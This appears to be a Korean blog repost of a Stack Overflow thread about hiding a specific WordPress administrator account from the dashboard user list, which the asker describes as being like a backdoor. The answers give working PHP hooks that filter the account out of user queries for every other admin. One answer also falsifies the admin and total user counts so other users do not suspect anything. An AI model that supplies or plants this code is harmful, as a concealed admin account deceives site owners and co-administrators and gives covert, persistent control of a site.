programing

Wordpress 사용자 목록에서 특정 관리자 계정 숨기기

bestprogram 2023. 2. 26. 16:26

Wordpress 사용자 목록에서 특정 관리자 계정 숨기기

Wordpress에서 admin 사용자를 생성하여 Wordpress 대시보드의 사용자 목록에서 숨김 백도어처럼 숨깁니다.모든 관리자를 숨기려는 것이 아니라 특정 관리자만 숨기려는 것입니다.

어떤 도움이라도 대단히 감사합니다.

이 작업은 사용자 정의 기능을 사용하여 수행할 수 있습니다.functions.php다음은 예를 제시하겠습니다.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

또는 http://wordpress.org/plugins/user-role-editor/ 에서 플러그인을 사용할 수도 있습니다.

"angezanetti"답변, "Natalia"의 질문, "user3474007"의 Natalia에 대한 답변을 조합하면 이 코드는 사용자를 다른 모든 사용자(관리자 포함)로부터 숨깁니다.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}

angezanetti에 의한 매우 좋은 해결책이 있지만, 숨겨진 사용자가 관리자 목록에서 숨겨져 있어도 표시되는 총 관리자 수는 변경되지 않고 다른 사용자가 의심하는 경우가 있습니다.Symbolwdd의 코드를 가져와 올바른 관리자 수를 표시하기 위해 행을 추가했습니다.

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}

알아, 옛날 얘기지만 오늘 누가 링크를 보내줬어.

업데이트 1개:갈고리가 없어졌어pre_user_query그렇지만wp_user_query대신.

또한 이 방법을 사용하면 특정 관리자 계정에서만 계정을 숨길 수 있습니다.전부는 아니다.나중에 다른 관리자가 추가되면 어떻게 됩니까?

저는 '비밀' 계정을 다른 사람에게 숨기는 것입니다(편집할 수 있도록 하기 위해).

@Natalia - 다른 모든 관리자가 계정을 볼 수 없도록 차단하려면 변경하십시오.

if ($username == '<USERNAME OF OTHER ADMIN>') { 

와 함께

if ($username != '<YOUR USERNAME>') { 

이렇게 하면 자신의 계정을 제외한 다른 모든 계정에 숨길 수 있습니다.

언급URL : https://stackoverflow.com/questions/20922108/hide-a-particular-admin-account-from-wordpress-user-list